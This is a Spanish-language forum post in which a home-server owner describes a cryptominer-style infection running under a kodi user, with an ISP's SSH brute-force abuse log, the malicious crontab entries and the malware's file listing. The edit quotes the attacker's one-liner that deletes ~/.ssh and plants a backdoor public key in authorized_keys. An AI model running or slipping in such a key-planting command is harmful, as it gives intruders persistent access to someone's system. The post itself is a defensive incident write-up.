Recientemente noté que mi servidor doméstico se volvía extremadamente lento. Todos los recursos fueron consumidos por dos procesos: crond64
y tsm
. Aunque los maté repetidamente, seguían apareciendo una y otra vez.
Al mismo tiempo, mi ISP me notificó sobre un abuso que se originó en mi dirección IP:
==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]
Este sitio web me indicó que podría tener un virus. Ejecuté Sophos AV escaneando todo mi disco duro y de hecho encontré algunos virus /tmp/.mountfs/.rsync
. Así que eliminé toda la carpeta y pensé que esto es todo. Pero siguió volviendo después. Luego verifiqué el archivo cron del usuario /var/spool/cron/crontabs/kodi
(el virus se estaba ejecutando usando el usuario de mi servidor de medios kodi), que se veía así:
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb 3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1
Parece que el virus se está reactivando de vez en cuando desde otro directorio. El contenido de ese directorio es:
>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d /home/kodi/.ttp/dir2.dir
/home/kodi/.ttp/a:
a bash.pid config.txt crond32 crond64 cronda crondb dir.dir pools.txt run stop upd
/home/kodi/.ttp/b:
a dir.dir rsync run stop sync
/home/kodi/.ttp/c:
aptitude dir.dir go ip lib n p run slow start stop tsm tsm32 tsm64 v watchdog
Eliminé todos estos archivos y las entradas en el crontab y espero que con esto se resuelva el problema. Sin embargo, me interesaría qué virus era, cómo podría haberlo atrapado (podría estar conectado a Kodi) y qué puedo hacer para prevenirlo. Afortunadamente, solo se ejecutaba desde un usuario con derechos limitados, pero aún así era molesto de tratar.
EDITAR
Aunque aparentemente eliminé todos los restos de este virus (también eliminé toda la carpeta tmp), el virus seguía regresando. Me di cuenta de que había una entrada ~/.ssh/authorized_hosts
, que definitivamente no puse. Esto explica cómo el virus podría replantarse repetidamente. Eliminé la entrada, deshabilité el inicio de sesión para ese usuario, deshabilité el inicio de sesión con contraseña (solo contraseña) y ahora uso un puerto no estándar.
También noté repetidos intentos de inicio de sesión en mi servidor con nombres de usuario aleatorios, probablemente por algún tipo de bot (el registro se veía asombrosamente similar al lanzado desde mi IP, que me envió mi ISP). Supongo que así es como mi computadora se infectó en primer lugar.
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~
. Acabo de hacer una cp /etc/skel/.bashrc /home/mycompromiseduser/
para eliminarlo.